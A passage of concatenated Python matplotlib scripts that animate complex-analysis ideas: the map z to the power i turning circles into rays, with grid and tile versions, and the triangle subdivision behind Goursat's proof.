from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (pw(z, 1j))
R = 12.0                      # curves are cut beyond this radius
LIMITS = (-1.8, 5.2, -4.2, 2.8)
SUB = 'every point moves in a straight line from $z$ to $z^{i}$'
TITLE = '$w=(1-s)\\,z+s\\,z^{i},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 2.0, 5, -1.5707963267948966, 1.5707963267948966, 7)
AVOID = []
EXTRAS = [('np.exp((0.3+1j)*(-1.2+2.4*u))', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^{i}_{\mathrm{pr}}$: circles to rays, rays to circles -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 18.7 and Figure 18.1, p. 96 (ch18:188, 202)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+(1j-1)*s)
R = 12.0                      # curves are cut beyond this radius
LIMITS = (-1.8, 5.2, -4.2, 2.8)
SUB = 'circles $|z|=\\rho$ go into pieces of the rays at angle $\\ln\\rho$, rays into circles $|w|=e^{-\\theta}$;\nthe spiral (green) stays a spiral'
TITLE = '$w=z^{1+(i-1)s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 2.0, 5, -1.5707963267948966, 1.5707963267948966, 7)
AVOID = []
EXTRAS = [('np.exp((0.3+1j)*(-1.2+2.4*u))', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^{i}_{\mathrm{pr}}$: circles to rays, rays to circles -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 18.7 and Figure 18.1, p. 96 (ch18:188, 202)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+(1j-1)*s)
R = 12.0                      # curves are cut beyond this radius
LIMITS = (-1.8, 5.2, -4.2, 2.8)
SUB = 'circles $|z|=\\rho$ go into pieces of the rays at angle $\\ln\\rho$, rays into circles $|w|=e^{-\\theta}$;\nthe spiral (green) stays a spiral'
TITLE = '$w=z^{1+(i-1)s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.3, 2.0, 4, -1.5707963267948966, 1.5707963267948966, 6)
HILITE = [9, 14]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Why the integral round a triangle is the sum of the integrals round its four pieces
(version 3: pull the pieces apart and put them back).
Step 1: once round the big triangle, counterclockwise. Step 2: the four pieces are pulled apart and a point
runs round each, counterclockwise, all at once. Step 3: the pieces slide back. Along every inside edge two
arrows now point opposite ways; they cancel, and the arrows left over are those of Step 1.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the cancellation animations (make_cancel.py pastes it into each script).
# The triangle of the notes' figure, its four midpoint subtriangles, and points running round them.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
V = np.array([0 + 0j, 3 + 0j, 1.1 + 2.1j])                 # Delta, counterclockwise
M = [(V[0] + V[1]) / 2, (V[1] + V[2]) / 2, (V[2] + V[0]) / 2]   # the midpoints of its sides
KIDS = [np.array([V[0], M[0], M[2]]), np.array([M[0], V[1], M[1]]),   # Delta_1..Delta_4, all counterclockwise;
        np.array([M[2], M[1], V[2]]), np.array([M[1], M[2], M[0]])]   # Delta_4 is the middle one
COLS = ["tab:blue", "tab:green", "tab:purple", "tab:red"]
NAMES = [r"$\Delta_1$", r"$\Delta_2$", r"$\Delta_3$", r"$\Delta_4$"]


def inner(a, b):                                           # an edge joining two midpoints lies inside Delta
    return min(abs(a - m) for m in M) < 1e-9 and min(abs(b - m) for m in M) < 1e-9


def at(T, s):
    """the point a fraction s of the way round T, counterclockwise from T[0] (a third of the time per edge).
    With this timing, whenever the middle point runs along an inside edge, the point of the neighbouring
    triangle runs along the same edge at the same moment, the other way."""
    s = min(max(s, 0.0), 1.0) * 3
    k = min(int(s), 2)
    return T[k] + (T[(k + 1) % 3] - T[k]) * (s - k)


def trail(T, s):                                           # the path run so far, corners included
    s = min(max(s, 0.0), 1.0) * 3
    return np.array([T[e] for e in range(min(int(s), 2) + 1)] + [at(T, s / 3)])


def shrink(T, c):                                          # T scaled by c about its centroid
    return T.mean() + c * (T - T.mean())


def mix(col, t):                                           # col faded to black by t
    return tuple((1 - t) * np.array(to_rgb(col)))


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def line(ax, P, **kw):
    P = np.asarray(P)
    live.extend(ax.plot(P.real, P.imag, **kw))


def dot(ax, z, col, s=70):
    live.append(ax.scatter([z.real], [z.imag], s=s, color=col, zorder=6, edgecolor="white", lw=1))


def arrow(ax, a, b, col, alpha=1.0, lw=2.0, ms=17, where=0.5):
    """an arrowhead on the segment a -> b, pointing from a to b"""
    p, q = a + (b - a) * (where - 0.09), a + (b - a) * (where + 0.09)
    live.append(ax.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag), zorder=5,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=lw, alpha=alpha, mutation_scale=ms)))


def text(ax, z, s, **kw):
    live.append(ax.text(z.real, z.imag, s, ha="center", va="center", **kw))

fig = plt.figure(figsize=(7.4, 6.5))
ax = fig.add_axes([0.02, 0.02, 0.96, 0.84]); ax.set_aspect("equal"); ax.axis("off")
ax.set_xlim(-0.75, 3.75); ax.set_ylim(-0.6, 2.75)
title = fig.text(0.5, 0.955, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=12, color="0.3")
NA, NE, NC, NR, NX, NH = 36, 18, 48, 22, 26, 20
B = np.cumsum([0, NA, NE, NC, NR, NX, NH])
SCHED = list(range(B[-1]))
OFF = [0.85 * (T.mean() - V.mean()) for T in KIDS]         # the middle piece stays put
ARR = [shrink(T, 0.8) for T in KIDS]                       # arrows sit just inside each piece


def outer(alpha=1.0, s=1.0):
    line(ax, trail(V, s), color="k", lw=2.6, alpha=alpha)
    for e in range(3):
        if 3 * s > e + 0.6:
            arrow(ax, V[e], V[(e + 1) % 3], "k", alpha=alpha)


def piece(j, g, s, inside_alpha=1.0, black=0.0, glow=0.0):
    """Delta_j moved out by g, run round up to s, arrows on the edges passed"""
    T, A_ = KIDS[j] + g * OFF[j], ARR[j] + g * OFF[j]
    live.extend(ax.fill(T.real, T.imag, color=COLS[j], alpha=0.1 * (1 - black), lw=0))
    q = np.r_[T, T[:1]]; line(ax, q, color="0.75", lw=1)
    for e in range(3):
        u = min(max(3 * s - e, 0.0), 1.0)
        if u <= 0:
            continue
        ins = inner(KIDS[j][e], KIDS[j][(e + 1) % 3])
        al = inside_alpha if ins else 1.0
        c = COLS[j] if ins else mix(COLS[j], black)
        a, b = T[e], T[(e + 1) % 3]
        line(ax, [a, a + (b - a) * u], color=c, lw=2.3 + (2 * glow if ins else 0), alpha=al)
        if u > 0.6:
            arrow(ax, A_[e], A_[(e + 1) % 3], c, alpha=al, ms=17 + (7 * glow if ins else 0))
    if s < 1:
        dot(ax, at(T, s), COLS[j], 55)
    text(ax, T.mean(), NAMES[j], color=COLS[j], fontsize=13, alpha=1 - black)


def frame(k):
    clear()
    if k < B[1]:
        s = k / (NA - 1)
        outer(1.0, s); dot(ax, at(V, s), "k")
        title.set_text("Step 1: once round the big triangle, counterclockwise")
        sub.set_text(r"$\oint_{\partial\Delta} f\,dz$")
    elif k < B[2]:
        g = ease((k - B[1]) / (NE - 1))
        outer(1 - 0.85 * g)
        for j in range(4):
            piece(j, g, 0.0)
        title.set_text("Step 2: pull the four pieces apart ...")
        sub.set_text("")
    elif k < B[3]:
        s = (k - B[2]) / (NC - 1)
        outer(0.15)
        for j in range(4):
            piece(j, 1.0, s)
        title.set_text("... and run round each one, counterclockwise, all at once")
        sub.set_text(r"$\oint_{\partial\Delta_1}f\,dz+\oint_{\partial\Delta_2}f\,dz+\oint_{\partial\Delta_3}f\,dz"
                     r"+\oint_{\partial\Delta_4}f\,dz$")
    elif k < B[4]:
        g = 1 - ease((k - B[3]) / (NR - 1))
        for j in range(4):
            piece(j, g, 1.0)
        title.set_text("Step 3: put the pieces back")
        sub.set_text("")
    elif k < B[5]:
        p = (k - B[4]) / (NX - 1)
        glow = np.sin(np.pi * min(p / 0.45, 1.0)); f = ease((p - 0.45) / 0.55)
        for j in range(4):
            piece(j, 0.0, 1.0, inside_alpha=1 - f, black=f, glow=glow)
        title.set_text("On every inside edge two arrows point opposite ways")
        sub.set_text("so those parts of the four integrals cancel")
    else:
        outer(1.0)
        title.set_text("What is left over is exactly Step 1")
        sub.set_text(r"$\oint_{\partial\Delta}f\,dz=\oint_{\partial\Delta_1}f\,dz+\oint_{\partial\Delta_2}f\,dz"
                     r"+\oint_{\partial\Delta_3}f\,dz+\oint_{\partial\Delta_4}f\,dz$")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(131)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Goursat's proof, implementation C, stage 1: the zoom.
A continuous zoom through the nested triangles: at every level Delta_n is cut into four, each shaded by the
size of its integral |I_j| compared with the other three (darker = larger), and the one carrying at least a quarter of |I(Delta_n)| is outlined
and followed. The counter shows 4^n |I(Delta_n)|, which never decreases. The stand-in f is NOT analytic,
so the integrals are not 0; the bookkeeping is the same for every continuous f.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the Goursat animations (make_goursat.py pastes it into each script).
# The triangle of the notes' figure, its midpoint subdivision, boundary integrals, the nested sequence.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
V0 = np.array([0 + 0j, 3 + 0j, 1.1 + 2.1j])            # Delta, counterclockwise (as in the notes' figure)
GX, GW = np.polynomial.legendre.leggauss(16)


def edge_integral(f, a, b):
    x = (GX + 1) / 2
    return (b - a) * np.sum(GW / 2 * f(a + (b - a) * x))


def I(f, T):                                              # the integral of f round the boundary of T
    return sum(edge_integral(f, T[k], T[(k + 1) % 3]) for k in range(3))


def children(T):                                          # the four subtriangles, all counterclockwise
    m01, m12, m20 = (T[0] + T[1]) / 2, (T[1] + T[2]) / 2, (T[2] + T[0]) / 2
    return [np.array([T[0], m01, m20]), np.array([m01, T[1], m12]),
            np.array([m20, m12, T[2]]), np.array([m12, m20, m01])]


def boundary(T, n=60):                                    # points round the boundary, and the parameter
    u = np.linspace(0, 1, n, endpoint=False)
    return np.concatenate([T[k] + (T[(k + 1) % 3] - T[k]) * u for k in range(3)] + [T[:1]])


diam = lambda T: max(abs(T[0] - T[1]), abs(T[1] - T[2]), abs(T[2] - T[0]))
perim = lambda T: abs(T[0] - T[1]) + abs(T[1] - T[2]) + abs(T[2] - T[0])

# Stage 1 uses a stand-in that is NOT analytic, so that its integrals are not 0 and the choice is visible.
# f1 = conj(z-p) exp(-|z-p|^2/s) e^{2.2 i Re z}: its d/d(zbar) is largest near p inside Delta, so the chosen
# triangles close in on an interior point.
P_IN, S_W = 1.55 + 0.62j, 0.35
